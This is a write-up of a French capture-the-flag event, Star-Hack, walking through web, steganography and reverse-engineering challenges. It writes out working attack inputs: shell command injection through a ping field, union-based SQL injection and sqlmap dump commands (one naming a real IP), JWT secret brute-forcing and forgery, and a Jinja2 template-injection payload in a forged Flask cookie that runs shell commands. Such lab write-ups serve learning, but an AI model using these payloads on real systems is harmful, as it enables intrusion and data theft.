Star-Hack
I participated in the Star-Hack, a CTF in France, but let’s not waste more time.
Difficulty : easy
Flag format : flag{[a-zA-Z0-9_]+}
Web
The challenges difficulties varied from easy to medium, and could be quite fun.
Crawler
The flag were split in 5 parts, 4 were to be found, and the fifth one was obtainable by providing the concatenation of the first 4 to an API.
The first four parts were obtainable by looking at the following files :
- /robots.txt
- /index.html
- /static/main.css
- Another place like cookie or console, I don’t remember
Which leaves us with the following concatenation : flag{Crawl_Master_20
, the
API gives us the final part “25}”.
Flag: flag{Crawl_Master_2025}
Commands
This challenge offers us to ping a target by specifying its IP, the character ‘;’ is prohibited by a filter.
As expected, it uses the ping utility, and a simple shell injection
1.1.1.1 && id
enables us to run commands.
Finally, 1.1.1.1 && find . -name '*flag*'
provides the file name and
1.1.1.1 && cat ./flag.txt
provides the flag
Flag : flag{Command_Injection}
Events
This challenge offers to use an input field to enter a month and retrieve events that happened during this one. This input won’t allow us to enter more than two integers, however it is then used in the url query, and no backend check is performed.
By crafting a basic sql injection, we can retrieve all events with the following
URL : http://[REDACTED]/?MONTH=02' or '-01'='
. (it filters by date, and
happens ‘-01’ at the end of the month to obtain dates like ‘2025-02-01’)
The number of columns retrieved can be found by using a simple union select
injection : http://[REDACTED]/?MONTH=02' union select "a", "b", "c" where '-01'='
, it has 3
columns.
This enables us to get the list of tables, by trying different payloads, we guess it’s sqlite :
http://[REDACTED]/?MONTH=02' union select "a", tbl_name, "c" from sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' AND '-01'='
There are 3 tables : ’events’, ‘flag’ and ‘users’.
We finally get the flag with the following request :
http://[REDACTED]/?MONTH=02' union select "a", * from flag WHERE '-01'='
Flag: flag{sqlite_union_based_injection_success}
Store
It was a website with a search input, by trying the exact same basic SQLi as in the previous challenge, we find the query is vulnerable.
As I couldn’t bear a second SQLi, and that sqlmap was obviously going to dump it easily, I went for it :
sqlmap -u 'http://[REDACTED]/search/?q=1' -p q --technique "BEUT" --tables
This extract the table name ‘store_secret’, which is dumped with :
sqlmap -u 'http://13.38.0.91:8087/search/?q=1' -p q --dump store_secret
flag: I didn’t keep this one
Broken control
We are offered to log in to the website with ‘guest:guestpass’. Once logged in, we get the following JWT to store the session :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
Using jwt_tool.py
, we can get its body :
{"username": "guest", "id_admin": False}
. After testing differents common
vulnerability like setting the ‘alg’ header to ’none’, I ended up trying to
bruteforce it. Turns out that it worked with the rockyou.txt
wordlist :
jwt_tool.py -C -d rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
The secret is ’letmein’, the JWT can then be tampered to gain admin privileged with the following command :
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kf2kBhjtTKfkNGfYVrchv4Q -T -S hs256 -p "letmein"
This leads to the flag I didn’t keep.
Obfuscate
This challenge was interesting, it starts with a very basic SQLi authentication bypass, we are then offered to change our username.
It’s possible to use the username to perform XSS, however it is a dead end. The real goal here is to exploit a SSTI. By using the payloadAllTheThings’ decision tree, it is possible to find that the backend uses jinja2 templates.
However, many inputs are blocked, like those including __imports__
or os
.
I tried some bypasses, however it was not convincing, and
__builtins__.__dict__
was not accessible for some reason. But by
looking around, I found out that we could retrieve the global variables by using
an SSTI, more precisely the variable SECRET_KEY="supersecretforctf"
.
The username is stored in a flask token, the filter preventing executing shell commands in SSTI is only used when trying to change the username, not when it using the username with a signed flask token.
By forging a new token with Flask-Unsign as following, it is possible to run shell commands on the server !
flask-unsign --sign --cookie "{'username': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'find . -name *flag*\').read() }}'}" --secret 'supersecretforctf'
The flag location is /flag123aatt.txt
, by using the same process, we print it using cat.
Flag : flag{sql_injection_then_ssti_priv_escalation}
IDOR
Dev_dev
Steganography
I think steganography is a double-edged sword, either the challenges are interesting and fun, either it is yet another steghide bruteforce challenge. Unfortunately, this CTF is more on the second side.
Dive deeper
Image :
Well the following command unfortunatly retrieves the flag :
strings parrot.jpg | grep flag{
Flag : flag{binwalk_unpacked_me}
Investigate
Image :
Same for this one, but with exiftool
exiftool forest.jpg | grep flag{
Flag : flag{metadata_magic}
Explore the image 1
Image :
After messing around with this one, the only thing left is steghide, and there is a password…
At least, stegseek finds it quickly with the following command :
stegseek tiger.jpg rockyou.txt
Flag : flag{hidden_in_plain_sight}
Explore the image 2
Image :
Because once isn’t enough, here’s exactly the same challenge :
stegseek sunset.jpg rockyou.txt
Flag : flag{stegseek_cracked_it}
Binary
The category name is surprising, it’s kind of a mix of reverse and pwn.
Native guardian
Source : app-release.apk
This challenge ses a shared library in native code, which contains the flag in cleartext. It is possible to extract the APK with apktool, however, a simple strings and grep on the apk will extract the flag :
strings app-release.apk | grep -B 1 flag
It returns
3v3rs3d}
flag{jn1_4rm64_rInvalid key
Flag : flag{jn1_4rm64_r3v3rs3d}
Simple
Source : simple
This is a binary that needs to be reversed, I’m not sure to understand everything it does, but it doesn’t matter to find the flag.
The flag isn’t in the binary but in a file on a remote server. In a tcp connection, it’s possible to send a string and test it against the flag.
The test will iterate through the strings and stop at the end of input or at the
end of the flag. When sending a wrong input, the index of the first match is
returned. This way, by sending 'X' * 23
, we get 22
, which means no ‘X’ is in
the flag, and the flag is 22 chars long.
Knowing that, I wrote the following script to find the first occurence of all chars :
#!/bin/sh
from pwn import *
chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-")
context.log_level = 'error' # Suppress noise
host = "[REDACTED]"
port = 1027
for c in chars:
conn = remote(host, port)
conn.recv()
conn.sendline((c * 22).encode())
res = conn.recv()
if "22" not in res.decode(): # If char is in the flag
print(c, res)
conn.close()
This leaves us with the following :
a b'Result length: 2\n'
e b'Result length: 20\n'
f b'Result length: 0\n'
g b'Result length: 3\n'
i b'Result length: 8\n'
l b'Result length: 1\n'
m b'Result length: 17\n'
n b'Result length: 9\n'
p b'Result length: 18\n'
r b'Result length: 7\n'
s b'Result length: 13\n'
x b'Result length: 5\n'
0 b'Result length: 6\n'
_ b'Result length: 11\n'
Knowing the flag format, we have that : flag{x0 in _ s mp e}
Finally, we guess the flag being flag{x0ring_is_simple}